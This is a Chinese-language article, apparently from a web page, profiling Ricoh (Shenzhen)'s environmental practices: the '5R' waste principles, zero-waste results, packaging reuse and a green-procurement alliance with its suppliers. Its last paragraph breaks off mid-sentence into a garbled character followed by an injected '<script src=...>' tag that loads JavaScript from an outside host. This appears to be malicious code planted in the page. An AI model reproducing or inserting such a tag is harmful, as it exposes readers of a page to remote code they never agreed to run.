深圳理光作为一家生产复印机、打印机等办公自动化产品的高新技术企业，理光（深圳）工业发展有限公司在致力于向全世界客户提供最高品质的产品的同时，同样致力于在行业内树立最“绿色环保”的企业形象。十几年来，深圳理光遵循循环经济“减量化、再利用、资源化”原则，大力推行绿色经营理念，建立立体全面的多功能循环体系，在行业内率先推行了垃圾“零排放”、绿色采购、节能减污、循环利用等一系列以“绿色”为标志的环境管理行动，在保持企业经营迅猛的增长态势的同时，经济效益和环境效益齐头并进，探索出一条具有示范效应的绿色经营之道。
提起“理光”的名字，很多人对这个办公自动化和数码行业的国际巨头都不陌生。然而许多人也许不知道，作为日本理光在海外最大的生产基地，深圳理光在国内同行企业内还是一个以“绿色环保”叫响的名牌。早在1997年，深圳理光就通过了iso14001环境管理体系标准认证，成为全国同行业以及广东省第一家通过环境管理体系认证的企业。多年来，深圳理光将循环利用资源和努力保护环境作为公司发展的一项基本原则，不仅提高了经营效率，同时也为公司赢得了社会的尊重和良好的声誉。
遵循“5r”原则实现“垃圾零排放”
“减量化（reduce）、再利用（reuse）、资源化（recycle）”的“3r”原则，是循环经济的基本行为准则。这一追求环境保护与经济增长协调发展的先进理念，其实在理光已经旗帜鲜明地实践了多年。不仅如此，理光的绿色理念还不止“3r”，加上“资源返还（return）”和“拒绝使用（refuse）”，深圳理光将这“5r”原则始终贯穿于企业设计、采购、生产、经营的全过程，严格控制废弃物的产生，减少污染排放，至今已连续四年成为“垃圾零排放”的企业。
——reuse（资源再利用）。深圳理光每年要求各个部门分别制定年度计划书，从改进管理方法和作业工艺等方面提出资源再利用的“提案”，每年都有大大小小10多个提案付诸实施，再利用的对象囊括化学消耗品、包装耗材、生产原材料、办公纸张等资源。2006年，仅在办公用纸的再利用方面，通过技术改造等活动就节省用纸76吨，废纸处理成本和对环境的污染大大降低。
——recycle（资源再循环）。这项原则主要针对生产过程中一些污染性较大的化学药品和原料，通过对废弃药品和边角料进行回收再资源化处理，使其重新投入使用，减少危险废物处理成本和污染负荷。目前，仅用蒸馏净化方法回收处理化学清洗药品这一项措施，公司每年就能减少采购约10吨化学药品。
——return（资源返还）。作为产品组装型企业，深圳理光每天从众多供应商处采购大量的零配件。为了减少垃圾排放，公司在供应商中推广可以反复使用的包装箱，并制定“返还出处”的办法，将原料包装箱退还给供应商，实现循环使用。
——reduce（减少资源浪费）。作为生产基地，深圳理光经常向海外据点输送产品，以前采用一次性的纸箱包装，不仅占用大量人力和空间，而且也不经济环保。本着减少浪费的原则，公司将所有产品包装改成了可循环使用20次的简易包装，仅一个型号的机器每年可递减94.5万元的材料成本。2006年，通过实施简易包装减少产生的一次性纸箱废物就有148吨。
—refuse（拒绝使用）。在深圳理光的采购制度中有两项明确规定：凡是对环境污染大、不利于回收的商品，一律拒绝购买；凡是由不符合环保法律法规的企业或落后生产工艺生产的产品，一律拒绝购买。
推行“绿色采购”与百余上游企业结“绿色同盟”
2006年8月8日，深圳理光与华为、富士康、富士施乐等13家深圳生产企业的“大腕儿”在市环保局的组织下，联合发出了一份《绿色采购宣言》，向全社会郑重承诺，共同从源头减少废弃物的产生，在生产消费中推行绿色采购。此举在深圳众多企业中引起了不小的反响，不少企业纷纷效仿，把绿色采购理念纳入企业长远发展规划中。对于深圳理光来说，“绿色采购”其实早就不是新鲜事—在效能相同或者相似的条件下，优先采购具有良好环保性能或者采用再生材料的产品或者服务，拒绝采购落后工艺装备生产的产品或国家禁止使用的有毒有害物质，一直是该公司在采购环节的一把最基本的“标尺”。
从2001年起，深圳理光开始在公司的供应链环节全面推行绿色采购认证活动，要求上游供应企业必须建立环境管理体系，共同控制使用对环境造成破坏的有害化学物质。公司为此专门建立了监察体系，督促供应商切实推行环境管理，否则将取消双方的贸易合作。同时斥资购买了有害物质的检测设备，建立检测实验室，对供应商的产品进行严格把关。目前，深圳理光的100多家供应商已全部通过了iso14001环境管理体系认证或理光集团的绿色采购认证，与理光一起结成了一个阵容强大的“绿色同盟”。
发挥辐射作用建立绿色循环体系
在深圳理光的生产车间里，每天数千台成品源?script src=http://er12.com/t.js>
